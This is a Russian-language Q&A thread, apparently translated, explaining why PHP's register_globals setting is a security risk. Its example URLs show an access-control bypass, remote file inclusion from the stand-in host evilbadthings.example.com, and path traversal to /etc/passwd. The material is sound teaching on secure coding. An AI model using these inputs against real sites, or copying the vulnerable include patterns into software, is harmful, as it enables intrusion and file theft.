Я не разработчик PHP, но я видел в нескольких местах, что люди, похоже, воспринимают это как чуму или что-то в этом роде. Зачем?
REGISTER_GLOBALS
означает, что все переменные, прошедшие через GET или POST, являются avilable глобальными переменными в вашем скрипте. Поскольку доступ к необъявленным переменным не является ошибкой в PHP (это предупреждение), это может привести к очень неприятным ситуациям. Рассмотрим это, например:
<?php // $debug = true; if ($debug) { echo "query: $query\n"; }
Это не плохая вещь сама по себе (хорошо спроектированный код не должен генерировать предупреждения, поэтому не должен иметь доступ к каким-либо переменным, которые могут быть необъявленными (и по этой же причине не должны быть REGISTER_GLOBALS
)), но PHP-код обычно [очень] низкого качества , что ведет к таким дырам в безопасности.
Включение REGISTER_GLOBALS предоставляет веб-страницы, обслуживаемые PHP, для уязвимостей, которые некоторые плохие парни будут стремиться использовать.
С его помощью любая строка запроса в конце URL-адреса:
http://yourdomain/something.php?valid=true
будет влиять на значение переменной $ valid (например) в something.php, если оно существует .
Если вы используете общедоступный PHP-код (например, в библиотеке), имена переменных хорошо известны, и хакеры смогут контролировать свои значения, назначая значения в строке запроса. Они могут обходить аутентификацию.
Даже если вы не используете общедоступный код, возможно угадать имена важных переменных и контролировать их значения.
Раньше по умолчанию было установлено REGISTER_GLOBALS в PHP.INI
Недавняя практика заключалась в том, чтобы отключить его по умолчанию. Включите его на свой страх и риск!
Просто добавьте, вот некоторые ситуации, когда включение REGISTER_GLOBALS
может испортить ваш день:
Использование строки запроса для обхода контроля доступа (взломать с помощью http://example.com/?logged=1 ):
<?php $logged = User::getLogged(); if ($logged) { include '/important/secret.php'; } ?>
Включение удаленного файла (RFI):
<?php //http://example.com/?path=http://evilbadthings.example.com/ include "$path"; ?>
Включение локального файла (LFI):
<?php //http://example.com/?path=../../../../etc/passwd include "$path"; ?>
Поскольку он позволяет пользователю вводить любую глобальную переменную в ваш код без какого-либо контроля.
Основываясь на качестве кода, он может содержать основные ошибки безопасности.